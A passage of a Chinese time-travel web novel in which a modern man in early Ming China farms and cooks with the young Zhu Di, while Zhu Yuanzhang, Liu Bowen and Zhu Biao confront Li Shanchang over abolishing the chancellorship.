然后,不可避免地,剧烈的喷嚏声,开始在田地回荡。 朱安宁乐不可支地看着一脸痛苦的朱棣,嘿嘿在那笑着:“这就是辣椒种子了,怎么,伍伯没跟你说这东西能做出人间美味来?” “啊……未曾听家父说过,而且如此辛辣!怎么会人间美味!阿嚏!”朱棣捏着鼻子一副痛苦的样子。 “哈哈,一会我给你做顿饭试试。先播种吧,你会不会?” “我也只是看过……” “那这样,你先去装满这两桶水,幸好你拿了桶,一会除了装水,还有其他用处。种子就先都给我吧。” 朱安宁开口安排好了事务,打水其实不难,河边就在不远处。 只是朱安宁想着可不想挑战自己的社畜老腰,还是交给更年轻的人吧…… “水桶不装水,还能装什么啊?”朱棣,则多少有些一脸问号。 第二十五章 明朝人有多礼貌(求追读!) 能挑什么? 对于朱棣的疑问,朱安宁只是觉得真是地主家的傻儿子。 挑粪啊! 不对,这地方离真正的田地还相去很远,而且现在明初,粪肥这种东西,农家也不会轻易说给你,这可是农家黄金啊。 “啧,还真有点麻烦了啊。” 朱安宁开始喃喃自语。一时半会也没什么好想法,只怪自己大学时不够努力……或者说背过就忘了? 古代肥料那么多,有哪种现在可以拿来应急呢? 头疼啊。 朱棣看朱安宁陷入了沉思,也不敢贸贸然打扰,只能听从朱安宁刚才的吩咐,哼哧哼哧地拎着两个桶往河边跑去。 这苦力相自然也是被蒯富看在了眼里。 只是,很快他又重新加入了匠工们的讨论之中。 而站在不远处的朱安宁,却突然动了起来。 “靠,自己在这费脑子,回车里翻资料啊!自己也是写过论文的啊,当年什么农政全书,开工天物都在文件夹里嘛。”朱安宁拍了拍自己脑子,笑了起来。 现代哪用考虑肥料,那直接金坷垃就好了。 而现在自己可是在明初,不解决肥料这个问题,不说推广,就是现在的实验田,估计收成都不能很好。 原本粪肥是他下意识的第一选择,毕竟他大学毕设的时候也是用过的,只是现在没有这条件啊…… 重新坐到了车里朱安宁快速点击着文件夹,然后开始翻开文献。 饼肥,草肥……不现实,都得沤…… 矿肥? 这玩意更不现实。 等下,泥肥!!! 朱安宁不会傻到一页页翻,他只是在扫关键字。 然后,很快他就看到了他想要的东西。 没有多加思索,朱安宁又下了车,快速冲到了河边,把那刚装好水朱棣吓了一跳。 “这河太清了啊!”结果,只看一眼,朱安宁就知道没戏了。 “朱哥……河水清澈有什么问题么?” “我们没时间去沤粪肥了,你去找别的农家要,别人也不会随便给你,这可是农家的命根子,目前来看最好的代替品就是河泥肥,但是这河也太清了吧……这么清,肥力不够啊!”朱安宁快速解释了一轮。 而朱棣在凤阳虽然有过下基层的经验,但是具体到肥料种类,那可是他的知识盲区了,只觉得朱安宁好厉害的感觉…… “朱哥,如果你要河水浑浊的地方,往下走一段,到那个拐道的地方,淤积了很多泥沙,那边浑浊。”朱棣指了指,他遇见戚祥他们的那个方向,和戚祥他们搭话的时候,恰好瞄到了浑浊的河水, “诶?有淤积?那才是好泥!走,去看看!”听朱棣这么一说,朱安宁算是松了口气。 淤积对河道来说不是好事。 但是对他来说那可是大喜讯。 肥力本来靠的就是各种腐殖质,也就是动植物尸体腐烂淤积后和沙土混合的淤泥,有拐道,就容易淤积,那肥也算是勉强解决了。 大喜过望的朱安宁,拉起朱棣就跑。 那两桶水就这样被撂到了河岸边。 朱棣只得陪着朱安宁跑向了靠到了主干道的位置上。 这地朱安宁也来过,只是当时也没有注意到这小小河湾居然已经淤积出了小沙洲。 朱安宁仔细勘探了一下,这种河泥的腥味是不会有错的……没想到得来全不费功夫。 那就更省心了,直接挖就对了。 挖的人……要不就安排这个小伙子来吧……毕竟他年轻,有力气,有朝气……好忽悠…… 朱安宁把目光转向了也如他一般蹲下看河泥的朱棣。 这一看,多少让朱棣有些发毛。 眼神不对劲…… “小燕啊,你看你朱哥我,身子确实有点点虚啊。”朱安宁笑嘻嘻地开了口。 朱棣也不傻,只听了开头便知道朱安宁大概是想坑他了,连忙把他老爹搬了出来。 “家父说过,男人不能说不行。” “男人是男人,我这不还未成亲么,我算不得男人!”朱安宁说得心安理得,因为这确实是事实。 高中念书,大学摊上个生物相关的专业,不是在实验室就是在田里,一毕业又变成社畜。 他还是标准的母胎单身…… 这话是实话不假,但是却还是惊到了朱棣。 “朱哥,还未成亲??”他一副难以置信的样子。 “你成了?” “我……我16岁就成亲了啊……” “……” 河边有点凉。 只有水流淌的声音和风拂过那高高的杂草传来的哗哗声。 两人都在看着对方。 过了不知多久。 是朱安宁先叹了口气:“真踏马万恶的旧社会啊……十六岁……十六岁我才刚认识那些日本老师哎……” 碎碎念的声音很小。 朱棣只看见了朱安宁一脸无语的样子。 以及,听见了他毫无道理的话语。 “既然结婚了,就好好干活,来,挖一桶泥过来吧,提水这种活还是交给我这种未婚的吧。” 朱棣只觉得,眼前的朱哥,好似有点悲伤……便,也默许了这毫无道理的工作分配。 不远处,蒯富他们早就搞定了基本的丈量,其实是可以现行告退的了,只是一直找不到朱安宁。 正等得有些不知所措时,终于看到了河岸边出现了个人影。 蒯富连忙凑了过去,半弯腰地开始报告自己丈量的结果。 “朱公子,这院落大还是小?就按图纸去建造厢房?” 那蒯富谄媚的样子,还是让朱安宁有些意外的。 这……这不是自己以前对领导的态度么? 大概是时代特色? 他想了想,本来开口说要小的,但是却在最后改了口。 “除了刚才的要求,蒯工,麻烦把那一片也起个围墙,把那田也帮我围起来,另外,您也帮我在离院落远些,但是靠田的附近建个小房,堆肥用。” 朱安宁又补充了几个要求,对于蒯富而言,并不算难的要求。 “好嘞,那小的就带其余人先行告退了。”蒯富依旧是那副对着领导的语气。 “嗯嗯,蒯工你们要是搞定了就可以先撤了,这宅子大概几日能建好?” “7日左右!主要开始运输材料需要些时间,建,其实不需要多久。” “好,那就麻烦蒯工了。” “不麻烦不麻烦,那朱公子,我等就先行告退了。”蒯富又告退了一次,领着众人,快速离开了这片地方。 看着远离的众人。 朱安宁突然嘻嘻笑了起来:“啧啧,当领导好像还挺爽的啊,说起来这明朝真礼貌啊,雇人建宅子,这大工都这么客气,而且这蒯富应该是很厉害的工匠才对啊,不然他儿子怎么能建故宫嘛……” 第二十六章 桃花庵(求追读!) 蒯富,正在快步走着。 他想快些回去备料。 结果,却在靠近大道那合流的拐道处,看到了眼珠子都要凸出来的画面。 作为南京宫廷边殿的主要设计者之一,他是认识朱家这几个皇子的。 而现在他看到了什么…… 朱棣,四皇子,现在正拎着个桶,在那灰头土脸地掏着河泥。 腥臭的味道远在道路边上的他们都能闻到,更不用说近距离挖泥的朱棣了。 蒯富甚至听到了朱棣的干呕声。 “呕……呕……” 少年郎在那里一边忍着恶心,一边掏着。 “看什么笑什么,赶紧走,接下来到宅子建成为止,你们都不许回家,懂么?”蒯富很快就下了个判断。 朱安宁的身份透露着诡异。 虽然朱元璋已经交代过自己注意保密。 但是现在来看,这保密的工作,还真的要更加注意才行。 而他身后的工匠们,也注意到了自己的头那脸色不对劲的样子。 连忙嘘声不语。 摸着口袋里的纸张,蒯富又做了另外一个决定。 这些图纸,他必须要快点呈给朱元璋……决不能留给自己。 小心驶得万年船,准没错。 ———————————— 掏泥的朱棣,挑水的朱安宁,只用了两三个来回,便完成了工作。 毕竟他们种的东西又不多。 就是小半亩而已。 “呼呼呼……朱哥……这这泥真的可以做肥?” 朱棣气喘吁吁地靠着树发问。 泥的密度可比水要大得多,所以他那一桶,差不多要顶朱安宁两桶,距离还远,自然是累了个半死。 至于朱棣不知道泥可以做肥料,那确实是他没见过而已。 “水草丰茂的地方,用河泥作肥,都用了千余年咯,只是咱们应天府这地界,更喜欢用粪肥罢了。用肥这种事情,要因地制宜,要知道,咱们汉人耕田已经很多年了,整片九州大地,但凡是能耕作的地方,都会被我们开垦,哪能说每片地都用同一种耕法嘛。” 朱安宁没朱棣这么累,所以还能在那里侃侃而谈。 “有地方用粪肥,有地方有泥肥,还有饼肥、绿肥、杂肥、骨肥、土肥、灰肥,甚至还有地方用石头都能做肥料。” 他像报菜名般说了一大通,当然不是他真的这么有学识……他说的都是他刚才在房车里看资料时看到的内容。 “这么多?!朱哥真的是见多识广啊。”这一串名词下来,对朱棣来说,简直就是降维打击。 “嗨,这些,一些小知识而已,不足挂齿。”朱安宁把手背到了身后,一副高人样,不得不说,装逼的感觉还是很爽的。 “家父说朱哥是行商,但是没想到也如此精通耕作一事啊。” “诶,以前学过一些,实在是不值一提。”啊,被人敬佩的感觉真爽,朱安宁心情大好:“对了,这些泥和干草得放在这树下沤个几日,今天要干的事情都结束了,刚才答应过你的,让我来做顿饭给你吃吧,伍爷季爷可喜欢我做的麻辣烫和大盘鸡了,都快要舔盘子了。今天你小子也有口福了,也给你见识下咱的厨艺吧” 朱安宁嘿嘿笑着,开始往房车走去。 那些炊具依旧是放在车外,挂在车外的置物台上晾着。 肉在方才就已经被他拿出来在桌面上解冻。 他今晚,准备做的是土豆红烧肉。 朱棣看了下太阳的位置,也知道确实差不多时辰了。 只是……他还想回宫里和自己老爹汇报情况啊…… “算了,吃了再说。” 麻辣烫?大盘鸡?都是些什么新菜式啊。 而且连父皇都要舔盘子? 这么好吃? 终于,朱棣还是没能抵挡住好奇心,他也跟到了朱安宁的后面。 只见朱安宁快速地切好肉和配菜,热下锅就开始烹煮。 煎出五花肉的肥油,接下来就是各种眼花缭乱的朱棣没见过的粉末,酱料,被朱安宁一通乱撒倒到了锅里。 最后还加入了两颗红彤彤的辣椒。 “搞定,接下来就交给时间啦。” 氤氲的热气在升腾,混着柴火的气味,煞是好闻。 朱棣也忍不住凑了过去。 “朱哥这黄黄的是,刚才我们种下的土豆?” “对,这道菜,叫土豆红烧肉,家常小菜家常小菜。” “这香味可一点都不家常啊……”仅仅是闻味道,朱棣都已经要流下口水。 未到20的朱棣,还处在能猛干三大碗的年纪,更不用说今天还被朱安宁差遣着干了一堆体力活,肚子早就咕咕直叫了。 “呵呵,莫急莫急,还是等上一阵吧。” 等菜熟透需要些时间,静下来的两人,突然就没了话题。 朱安宁毕竟是在社会历练过的人,他回头便拿出了那未喝完的可乐。 给朱棣倒了杯。 那朱棣,眼睛根本藏不住东西,看见这透心凉心飞扬的饮料,都要笑开花了。 连忙接过朱安宁递过来的杯子喝了起来。 一边喝一边发出啊啊的享受声。 待到喝完,还满足地打了个嗝。 这让朱棣脸不免红了起来。 “好喝吧,可惜存货不多了哎。” “此物应当相当珍贵吧,多得朱哥,小弟才有机会尝到这神奇的可乐啊。” 贵?3块钱,不算贵吧…… 就是现在买不到了而已。 于是朱安宁只是笑笑,没有说话。 “对了,朱哥,我们种这些作物,到时肯定是要献给朝廷的啊,到时朱哥想要什么官职?” 朱棣沉思了片刻,问出了准备许久的话。 这也是朱元璋交代他的。 “官职?不不不,我没兴趣。” “为什么呀。” “就是没兴趣啊……”朱安宁说得相当淡然。 见朱棣还是想追问的样子。 朱安宁也是无语了起来。 古人对做官真是无敌有执念,就这么想光宗耀祖是吧……哎。 “桃花坞里桃花庵,桃花庵里桃花仙。桃花仙人种桃树,又摘桃花换酒钱。酒醒只来花前坐,酒醉还来花下眠。半醒半醉日复日,花落花开年复年。但愿老死花酒间,不愿鞠躬车马前。” 朱安宁一边背诵着唐伯虎的桃花庵,一边,还是掏出了库存已经逐渐下降的啤酒,没有犹豫,他拉开了拉环,给朱棣倒了杯。 背到一半,他顿了顿。 并不是什么转换语气…… 而是,他忘了…… 但是,这已经足够让朱棣拍案而起。 行商? 会耕地? 怎么突然随口就吟了首如此妙的诗歌啊! 但愿老死花酒间,不愿鞠躬车马前……他这是在回答自己的问题呐。 朱棣愣愣地看着朱安宁给自己添上的啤酒。 然后,听到了诗歌的最后一句。 “别人笑我忒风骚,我笑他人看不穿。” 只见朱安宁遥遥举杯,与他隔空敬酒,然后,一饮而尽。 第二十七章 耕田也要激动些(求追读!) 会不会太骚了呢? 这是朱安宁的自我反省,不同于第一次盗用导员的诗歌时,还微微有点紧张。 现在这二次作案的朱安宁,已经能灵活地控制自己的道德观…… 好骚啊…… 这是朱棣的真实感受。 这种这么洒脱的诗歌,怎会出现在这种时代呢…… 眼前这朱哥,真的只是所谓的什么西域行商么。 愣神的朱棣,看了眼自己杯子,里面是黄黄的液体,有点似可乐,但是闻起来却完全不一样。 借着那土豆红烧肉的香气,朱棣也学着朱安宁,一饮而尽! 入口是微酸的口感,只带了点酒的味道,更多的确实小麦的香气,最后,才是刺激口腔的感觉。 “啊……”这独特的口感让朱棣不由得长长地叹了口气:“比家里那些玩意好喝,这也是酒吧!” “呵呵,这酒名为啤酒,最是适合大汗淋漓后的饭桌。” 朱安宁也没有过多解释,朱棣喜欢喝就好。 自己开酒的初衷,不过是给唐伯虎的桃花庵助助兴而已。 毕竟,这可是他相当喜欢的一首诗歌,是当年看完星爷的《唐伯虎点秋香》之后,在网上看到的全篇。 屌炸了好么。 唬你一个地主家的傻儿子,够了吧。 所以不要再叫我当官啦! “朱哥……” 过了不知多久,朱棣才再次开口,一副有些不好意思的样子。 朱安宁还在侍弄那锅土豆五花肉,再过一会应该就能焖烂了。 “恩?怎么了?” 他一边回话,一边试了试味。 “能不能再给我喝一杯……然后,您刚才念的诗……我能抄下来么?” 朱棣,如是说。 “我会署名朱哥的,写的实在是太好了啊……比……呃,感觉比我的先生写的都要好。” “啧,你先生,村里的那些个秀才是吧……”朱安宁咋把了下嘴巴……也有点无语。 你拿唐伯虎和村里的教书先生比,确实是有点欺负人了啊。 而朱棣,却也没有正面回答朱安宁的话语。 因为,他的先生可不是什么村里的秀才,而是大本堂,文华堂里面的大儒啊! 当然,朱安宁也没有在意朱棣为什么没有回话,他还是刚才的想法,唬住了这个地主家的傻儿子就好。 以后,他能天天像现在这样卖力干活那就更好了。 这家伙力气真是大啊。 吃什么长大的啊,一桶河泥,哼哧哼哧就搬过来了,自己拎桶水都要休息好几回啊…… “好嘞,出锅!”朱安宁用筷子捅了捅那肉,直穿而过证明时间差不多了,而味道,也试过最后一次了,完美! 随着朱安宁的一声笑,那肉,土豆,带着汤汁,倒进了早就准备好的大碗里。 然后,他又麻利地打好了两碗米饭,顺便帮朱棣又倒了杯啤酒。 土豆红烧肉可不能像大盘鸡那样混着面条吃,这是对红烧肉的亵渎,红烧肉就应该拿来餸饭。 朱安宁乐呵呵地把筷子给了朱棣。 而后自己先挑了块半肥瘦的好肉,咬了一口,那是真的香啊…… 朱棣见朱安宁都动筷了,自然也是自己自己不用再等了,连忙也开动起来。 不过不同于夹肉的朱安宁,他夹的是土豆。 他好奇地闻了闻,上面裹满的都是汤汁,不出意外的,全是肉香。 朱安宁看着在那犹豫的朱棣,只觉得有些好笑。 “吃吧,就是粉粉的口感,还挺好吃的。” 他催促了句。 朱棣也知道继续夹着食物看个不停,是失礼的行为,也就不再多想,直接把土豆丢进了口中。 “唔!好吃,真的好吃,而且这辛辣感……哈……这就是朱哥你说的辣椒么” 朱安宁下的是红色的小米椒,辣度自然不一般。 才吃了一口就额头冒汗,嘴巴冒火的朱棣,下意识地拿起了杯子,然后灌了一大口。 “哇,好爽啊……” 他马上就领略到了辣椒配小酒的魅力,眼睛一下就亮了起来。 本就饿极的他,就此放开了最后心理束缚,大快朵颐了起来。 “朱哥,这土豆比米饭……不对,是比肉还香啊!粉粉糯糯的,这种这么好吃的作物,真的可以亩产7石么?!太不可思议了吧。” “呵呵,除了这部分煮的,大部分都是你自己种到田里去了啊,能不能亩产7石,过几个月不就知道了么。” “这么好吃的东西,几个月就能长出来?!” “咱们应天府这边气候好,长得快。” “这土豆真好吃,不知道那番薯是否也和这土豆一样如此美味。” “番薯就要差些,亩产虽然比土豆高,但是吃多了肚子容易饱胀不适。” “饱胀不适,也好过饿肚子啊……”朱棣顿了顿,说出了朱安宁意想不到的话语。 这地主家的傻儿子……居然能和饿肚子的人共情。 “那倒是,如果这两种作物能够推广,未来,应该就不会再出现扬州十八户的惨状了吧……易子而食……真是人间惨剧。” 朱安宁,放下了筷子,想起了这段悲惨的历史。 朱棣也是沉默了下来。 他是听他父亲说过这段惨事的,每每念起此时,老农出身的朱元璋都会忍不住落泪。 “所以,我要努力把这等好吃又高产的作物种出来!让天下百姓,不再忍饥挨饿!”朱棣猛地站了起来,像是在宣誓般对朱安宁说道,此刻的朱棣,突然有了使命感。 “好好好,你一地主家儿子都能有这觉悟,可以啊,咱们到时再带上你季爷家那两孙子,好好把这些口粮给种出来,推广出去,让我泱泱中华,不至于再被那些外族欺辱。” 朱安宁被那朱棣的豪言壮志猛地一激,也是有些血气上涌。 官是万万不能当的,但是,如果自己能为这片多灾多难的土地,做些有用的,有意思的事情。 那也不枉穿越这一场。 不说明末清初的战乱,就说中国的近代史,可是满是黑暗和鲜血啊…… 能否,从明初,就开始种下些希望的种子呢。 朱安宁,突然,有了点新的想法。 于是,他与朱棣,碰了个杯,又是一饮而尽。 第二十八章 如何处置韩国公(求追读!) 激动的两人,很快就碰杯喝完了那罐啤酒。 而那碗红烧肉,也很快就见底。 朱棣终于相信了之前朱安宁的话语。 自己的老爹,吃得快要舔盘子这件事情……绝对的不是假话。 因为,他现在就是在舔盘子…… 他意犹未尽地把碗里的汤汁,倒进了自己的碗里,混合了一下,然后又干掉了小半碗白米饭。 “可以啊,会吃啊,知道这肉汁才是精华。”在一边的朱安宁,竖了个大拇指给朱棣。 而朱棣,根本就没有多少余力去附和。 最后那两口带饭的汤汁,里面混了不少小米辣…… 所以,此时的朱棣正在抵抗着嘴巴的辣感,和那种直冲天灵盖爽劲。 朱安宁,与朱棣的第一天耕作生涯,便以这一顿土豆红烧肉为帷幕,徐徐落下。 ———————————————— 文华殿。 朱元璋处理折子的殿内。 他和刘伯温、太子朱标,已经在这里呆了一下午。 就是为了拟好那内阁的细则。 朱安宁给出的大方向是非常合理的。 只是,人选,还有轮换的制度,总还是需要他们去完善的啊。 三人现在皆是有些疲累,但是精神却亢奋无比。 不管是朱元璋还是刘伯温朱标,他们都知道他们要做的将是能够改变整个中华格局的大事! 而现在,他们已经进入了具体的名单商讨环节。 朱元璋饶有兴致地看了眼刘伯温,突然开口问道:“诚意伯,今儿我们可是要废掉相位,你觉得韩国公会不会反对呢?到现在我们可都还未找他商量过啊。” 刘伯温这几年,在朝中,不站队,不表态,明明是个御史中丞,活得却毫无存在感。 朱元璋是多少有些不满的。 这种不满,恰又源于他对刘伯温才能的肯定。 而这小老头,前几日被那朱安宁一激,好像有点变化了。 今儿就趁热打铁,让他好好说清自己的想法吧,朱元璋喝了口茶,就坐在那里,开始等待刘伯温的回答。 “陛下,韩国公,他……善内政,懂人心,臣认为,韩国公是值得信赖的啊。” “即便他曾在咱这里说过你的不是。” 朱元璋磕了磕茶杯,磕出了刘伯温的汗水。 “即便,群臣们都说你诚意伯和他韩国公,面和心不和。” “是……” “即便他,眼看着胡惟庸,愈发胡作非为。” “是……” 朱元璋没有继续说下去。 有些话语,已经挑得很明了了。 今天,他想要的是,刘伯温,对李善长的态度。 “但是韩国公,功勋卓著,威望甚高,陛下请寻他过来商议吧。” 刘伯温弯下了腰,行了个礼。 而朱标站在一旁,没有言语。 他们都在等着朱元璋的回应。 “好好好,好一个一统天下刘伯温……那朱安宁,说的话,确实有点意思。”朱元璋大笑了起来:“诚意伯,韩国公已经在偏殿候了很久了,你去叫他可好?” 在一旁的朱标,却也是结结实实被朱元璋的话语吓了一跳,一统天下刘伯温……这等评价,真是高到无与伦比了啊……居然被他父皇认可了。 “陛下,臣这就去唤韩国公过来。”刘伯温也没有很意外的感觉,他平静地回应了朱元璋,然后退了出去。 屋子内,就剩下了朱元璋和朱标。 “父皇……”朱标仅开了个口。 却看见朱元璋挥了挥手。 他看见他父亲,有些疲惫地坐了下去。 “这刘伯温,还是执拗点,有意思,这几年,他站在那里,我还以为是块木头呢。呵呵。”他自顾自地说着话,然后又突然加大了音调对朱标问道:“标儿,你觉得,咱该如何处置这韩国公呢。” 朱元璋,把一沓纸丢到了桌面上。 朱标自然也是知道这是给自己看的。 连忙快速翻动了起来。 多得这么多年处理政事的经验,他不消一会,便看完了那一沓纸张。 “韩国公与胡相的一些来往细节……韩国公和信国公汤和也有来往?还有韩国公纵容家丁欺行霸市……” “李善长啊李善长……”朱元璋,似在感叹,又似在叹息。 朱标看着突然疲惫下去的父亲,突然,不知道该说些什么好。 于是,依旧是朱元璋继续开了口。 “那李善长,已经求见了我两日了,都被我以繁忙为由躲开了,他这家伙,应该是看我又和刘伯温走得近了,有点虚了罢。” 朱元璋嘿嘿笑了两声,表情却丝毫没有愉快的样子。 如朱元璋所说,李善长的确是已经求见他两日了。 昨日是直接避而不见。 今日倒还好些,让去偏殿等。 李善长年纪也不小了,坐在那偏殿上,左等右等,还是没有等来召见,直到快要睡着的时候,才迷糊中看到个身影。 他连忙站了起来,睁大了双眼。 结果看到的确实刘伯温。 这让他哪还有一丝睡意啊。 “啊……诚意伯。” “见过韩国公,是陛下遣我来唤你过去的。”刘伯温规规矩矩地行了个礼。 “居……居然是诚意伯前来唤我,看来是机要之事啊。” “自然。”刘伯温微微一笑,没有多说,然后再前方带起了路来。 两人不消多久,便来到了大殿处。 刘伯温通报一声,便被朱元璋叫了进来。 而此时的李善长,也发现了,四周没有一个陪侍,只有朱元璋,朱标,刘伯温和他。 这种状况…… 明显是商量大事的阵容啊…… 但是,再叫自己之前,这三人好像已经商量过一轮了呀! 有问题! 李善长猛地警醒了起来,他陪着朱元璋在末微之时起事到现在一统神州,眼力见还是有的。 胡惟庸! 一定和他有关,是北征的事情! 于是没有任何犹豫,他深深作了个揖:“陛下,北征一事,臣愿……” 然后他余光看到的是,三张懵逼的脸。 “北征?”朱元璋品了品李善长的话语,便立马知道这家伙在干嘛,要说了解李善长,还得是他的老板朱元璋:“咱可没想和你聊北伐的是,咱要找你聊的,是比北伐更重要的事情。” 朱元璋,笑了笑。 掷地有声地,说出了让李善长心脏骤停的话语:“咱要废相,大明,此后再无相。” 第二十九章 诚意伯快当宰相吧(求追读!) 心脏跳动的声音,在耳边回响。 李善长只觉得有点天旋地转。 废相? 这个隐隐是有预感的,毕竟胡惟庸最近是太过火了…… 所以自己这两年是半不管事的状态,就是怕愈发得志的胡惟庸牵连到自己……他还是跟朱老板不够久,不知道朱老板的手腕…… 只是现在说不仅是废这一个相……而是说以后,大明无相? 李善长的第一反应和刘伯温是类似的。 自古以来,文官的权力巅峰便是宰相之位,这废相,简直是他们这种文人出身的大臣,想都不敢想的事情…… “上位三思啊!”李善长也不顾自己这一把年纪,啪地一声就跪在了地上。 刘伯温和朱标都站到了一边。 而朱元璋却没有第一时间回应。 直到李善长抬起头来,与他对视之时,朱元璋才开了口。 “三思什么?是废相,还是废相?” 皇帝的沉吟在殿内回响。 炸到了李善长的耳边。 “上位,胡惟庸胡作非为,确有取死之道!但是相位不可随意废除啊!” “哦,你也觉得胡惟庸该死?”朱元璋笑了笑:“但,那昔日举荐他的人,不就是你么?” 那笑容,并没有很冷。 但是,也足以让跪在地上的李善长,抖上三抖。 “所以说,你这是眼拙呢,还是知情不报呢?” 朱元璋慢悠悠地说着话。 远处的刘伯温也轻轻地叹了口气。 他与李善长相处多年,其实是知道李善长一直在提防他……就是怕他刘伯温抢了他的风头。这在刘伯温眼中,多少有些好笑。 明明,朱元璋最信任的人,就是你啊,李善长。 换做一般的大臣,能有这个机会跪在这里? 早就已经人头落地了啊。 韩国公,贵为六公之首,这就是朱元璋的信任的体现。 而此时的李善长,也清醒了过来。 这朱老板哪是在给他做选择啊。 这是送命题啊。 “臣,知罪!”所以没有过多的解释,也不需要解释。 他伏在了地上,语气了满是悔恨。 看见跪在地上的老伙计,连朱元璋都忍不住叹了口气。 他最重要的两个谋臣,一个太硬直,一个太滑溜。 而这李善长,就是滑溜的那个。 自己其实已经给了他莫大的信任,他却一直不知足,总是要在暗地里巩固自己的地位。 那些小动作,他真的以为自己看不到? 只不过是默许罢了。 而现在,这胡惟庸,在他李善长的荫护之下,已经俨然成为了不可一世的权臣。但他李善长,却在权臣当道的时候,躲了起来,玩半隐退的把戏。 这副怕惹火上身的姿态,才是朱元璋恼火的原因。 伏倒在地的李善长,一动不动。 朱元璋绕了个圈,去到了案台上,拿起了另外一沓纸张,丢到了李善长面前。 “起来,自己看。” “是……”李善长颤颤巍巍地抬起了头来,朱元璋虽说是要他起来看,但是真的站起来,他是万万不敢的,他依旧是跪着,捡起了散落在自己脚边的纸张,看了起来。 整个大殿,就此陷入了沉默的氛围之中。 只有纸张摩挲的声音。 “这……这……”李善长越看,身子就越抖,直到他看到李存义三个字,那身子已经是抖如糠筛。 太仆寺丞李存义是李善长的弟弟,胡惟庸的女婿李佑的父亲。 前几日,李存义来找过他,话中有话地说些不轨之事,当即就被他骂了出去。 只是念在兄弟一场,他没有禀告给朱元璋。 没想到,居然被人记录了下来……还呈给了朱老板…… “上位……我……我……我,哎,我一时糊涂啊。” “你痛骂你弟弟,很好,但是瞒而不报,很不好。”朱元璋坐在自己的大椅上,没有动怒的样子,却散发出了让人窒息的气势:“继续看,占城国来进贡的事情,咱也调查清楚了,别国来进贡,就是为了看一眼我这天子颜,结果宰相啊,好大威风啊,自己就处理了,不告诉咱是吧。那汪广洋该死,咱已经砍了,但是胡惟庸呢?呵呵。” 朱元璋看着下面的李善长,又继续说道。 李善长自是无话可说,他颤抖着看完了一张又一张的罪证。李善长知道,这些都是是真的。 因为是真的,他今年才会摆出一副半退的姿态,就是不想牵连自己。 真是老糊涂了啊,大概是天下安定后,自己也懈怠了吧…… 但是,作为朱元璋最信任的谋士。 他的能力是毋庸置疑的,此刻清醒过来的他,知道这胡惟庸是死定了,但是大明以后可不能无相。 朱元璋此刻大概是怒话而已,自己拼了这副身子骨也要阻止这件事情的发生。 无相辅佐,朝堂如何运转,他们辛辛苦苦打下来的偌大天下,又该如何是好,绝不能让这种荒唐事发生! 他知道自己现在是戴罪之身,说不得太多,现在还能依靠的是刘伯温! 刘伯温的谋略还在自己之上,自己嘴上不承认,心里却是知道的,他应该比自己更清楚相位的重要性! “陛下!胡惟庸罪该万死,身居宰相之位,却以权谋私,行为不端,欲行不轨之事!只是大明疆域万里,每日之事何止万件,宰相本就是统率文官,辅佐陛下处理机要事务的要职,罢黜胡惟庸后,应当立即挑选贤能之才,以免贻误要事啊!大明无相此等事情,陛下务必三思啊!” 他又重重地跪了下去。 李善长没有开口求饶,也没有为自己辩解。 这般姿态,却让朱元璋真的笑了出来。 这是满意的笑容。 只是伏倒在地的李善长并没有看见。 “那若罢黜了那胡惟庸,你觉得现在朝堂之上,谁可替上?”朱元璋没有更换语调,依旧是平淡的语气。 “诚意伯,刘伯温!”而李善长,也终于抑制住了自己的颤抖,咬牙说出了他认为可替上之人的名字。 听见李善长的答复。 朱元璋终于大声笑了出来。 他拍了拍刘伯温的肩膀,走到了殿中央。 第三十章 后生可畏(求追读!) 朱元璋在那满意地笑。 刘伯温作为明初第一谋士,自然也是看出了朱元璋在干嘛。 只是现在朱老板还没发话,自己是决不能应承的。 而那李善长,跪在那里,浑身是汗。 朱老板可以杀胡惟庸,甚至可以杀自己,但是这相位,绝对不能废掉。 大明才刚刚稳定十几年,决不能行这荒唐事。 所以他咬牙,推荐的是最合适的人,刘伯温,却也是他最不想看到当宰相的人。 此时的李善长,已经豁出去了。 结果他左等右等,却也没等来回应。 只听到脚步声和朱元璋的大笑。 过了半晌。 朱元璋笑够了,回过了身来,看向了也在那微笑的刘伯温。 “诚意伯,你怎么看?你能替上这宰相之位么?当初咱心里的宰相第一人,确实也是你啊,你的谋略,谁比得上?” 朱元璋指了指刘伯温。 “陛下缪赞了……”刘伯温也顺势跪了下来,老板夸你,你可不能直接说对对对。 跪下的刘伯温并没有停下话语,他继续说了下去:“但是臣以为,宰相之位,确实是可以废除了。” 他配合着朱元璋,把话题继续了下去。 这倒是把李善长给弄懵逼了。 圆滑了大半辈子的他,恼火地看向了刘伯温大声喝道:“诚意伯,莫要意气用事!相乃施政根基,无相,那上不通,下不达,可是要出大事的啊,你你你……” 他以为刘伯温现在是在置气……毕竟自己前些年可是在背后黑了他不少。 而他是真怕朱元璋就顺坡下驴,真就废相了。 看着气急攻心的李善长,朱元璋也是知道要见好就收。 别一会这小老头真气急攻心嘎了,那就不美了。 “行了,咱早就寻到了比宰相更好的替代法子,你以为我是那种有勇无谋的武夫啊?”没等李善长回应,朱元璋又是一沓纸张甩了过去,这是刚才他和朱标刘伯温三人总结的内阁制的要点和具体实施的方法。 “看一看这内阁制,好好给咱看,看完再告诉咱,这相,能不能废!我大明,还是不是真的就需要这样一个相!” 李善长看着脚边的那沓纸张。 心里快速盘算着一会该怎么继续劝。 他是完全不信有什么东西可以替代宰相的。 历朝历代,宰相和皇权冲突的事例并不少。 但是大汉到盛唐……等等,多少明君都无法解决这个问题,最多就是像汉武帝那样不断换相,但是始终是不敢说废除。 你老朱拍拍桌子就说要废。 自己这作为当朝太师,代表的就是文官集团,今天就是豁出去了也不能让这事成。 抱着这样的念头,李善长开始看起了那沓纸。 他想要快速找出里面的漏洞,以驳倒眼前的朱元璋,赶紧让他收回成命。 然后。 就没有然后了。 他闭嘴不语,一张又一张地看了下去。 朱元璋又坐回了自己的大椅上,饶有兴致地看那李善长变脸似的一时一个表情。 而朱标和刘伯温也是在一旁,静静地等待李善长看完。 不知过了多久。 殿内才重新有了声音。 那是李善长的大喊:“妙啊,太妙了啊……这内阁制,真是举世无双啊!上位,这……这等天赐良策是……” 他第一时间转头看向了刘伯温。 李善长自认也是谋略过人,这泱泱大明,大概也就刘伯温能压他一头了吧。 所以应该是他的策。 只是当他看向刘伯温时,却看到了他轻轻地摇了摇头。 啊?还有高手? 紧接着他只能看向朱元璋:“这天赐良策……是陛下?” 虽然有些难以置信,但是朱元璋向来喜欢打仗出奇策,要说想出内阁制这种……不对……不可能……李善长很快就否定了这个想法。 